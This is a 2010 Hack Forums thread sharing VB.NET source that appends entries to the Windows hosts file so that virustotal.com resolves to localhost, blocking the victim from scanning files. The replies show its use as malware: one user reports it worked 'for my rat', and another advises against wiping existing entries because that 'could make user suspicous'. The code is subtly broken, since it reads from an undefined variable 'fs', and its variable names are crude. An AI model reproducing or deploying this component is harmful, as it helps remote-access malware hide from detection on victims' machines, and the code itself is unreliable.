Hack Forums
[.NET] [VB.NET][Source Code] - Website Blocker - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [VB.NET][Source Code] - Website Blocker (/showthread.php?tid=338037)



[VB.NET][Source Code] - Website Blocker - Samuell - Mar 27, 2010

Bored out of my mind, decided to throw this together for my friend. This specific example blocks the user from accessing VirusTotal by editing his/her hosts file. Please do note that in order for these changes to take effect you'll need to restart your computer. (Or at the the very least your internet connection).

Source Code:
Code
Sub WebsiteBlocker()
        Dim hostrape As String
        Dim TheThingThatReadsShit As New StreamReader("C:/windows/system32/drivers/etc/hosts")
        hostrape = fs.ReadToEnd()
        TheThingThatReadsShit.Dispose()
        TheThingThatReadsShit.Close()

        Dim Meltwriter As New StreamWriter("C:/windows/system32/drivers/etc/hosts")
        Meltwriter.WriteLine(hostrape)
        Meltwriter.WriteLine("127.0.0.1                        www.virustotal.com")
        Meltwriter.WriteLine("127.0.0.1                        virustotal.com")
        Meltwriter.Flush()
        Meltwriter.Close()
        Exit Sub
    End Sub

Usage:
Code
Call WebsiteBlocker()



* - Sikandar - Mar 27, 2010

posted many times already
thankz for sharing though


* - Samuell - Mar 27, 2010

(Mar 27, 2010 10:44 PM)sikandarnandwani Wrote:  posted many time already
thankz for sharing though

I know, it's nothing special, my friend just wanted me to repost it lol.


* - JIMP - Mar 27, 2010

Very nice post.Thanks for sharing.


* - Bitwin - Mar 28, 2010

Isn't the host file instant ?


* - Joler1302 - Mar 28, 2010

Why dont you code so it doesnt delete the stuff wich in already in the hosts file? Like mine does :D That would be alot better, as the other could make user suspicous.


* - newbie223 - Mar 28, 2010

been there done that :)


* - Xdem0 - Mar 28, 2010

Its effect is instant, in internet explorer at least.... as long as all history/dns cache is flushed, it will take effect instantly.


* - Pijm0 - Aug 16, 2010

Thanks dude worked perfectly for my rat :D


* - Samuell - Aug 16, 2010

Old Post is old, but you're welcome lol